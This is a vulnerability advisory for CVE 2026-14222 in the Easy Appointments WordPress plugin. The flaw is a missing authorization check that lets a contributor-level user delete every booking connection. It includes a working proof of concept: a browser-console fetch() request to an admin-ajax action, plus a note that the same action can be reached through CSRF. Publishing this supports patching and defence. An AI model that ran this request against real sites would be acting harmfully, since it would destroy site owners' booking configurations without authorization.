Easy Appointments < 3.12.28 – Contributor+ Connection Deletion via Missing Authorization | CVE 2026-14222

Description

The plugin does not perform any capability or nonce check in one of its connection-deletion actions, allowing users with contributor-level access to delete the booking configuration and disable the booking system.

Proof of Concept

Prerequisites: a Contributor account; at least one Connection exists (Appointments > Connections).

1. Log in as the Contributor.
2. In the browser console on any wp-admin page (no nonce required):
   fetch('/wp-admin/admin-ajax.php?action=ea_delete_multiple_connections', {
     method: 'POST',
     headers: { 'Content-Type': 'application/json' },
     body: JSON.stringify({ ids: Array.from({length: 100}, (_, i) => i + 1) })
   }).then(r => r.json()).then(d => console.log(d));
   // => {success: true, data: 1}

All Easy Appointments connections are deleted, breaking the front-end booking form. The action performs no nonce check and no manage_options check, so it is also reachable via CSRF against a logged-in Contributor. A Subscriber is blocked by the edit_posts registration gate.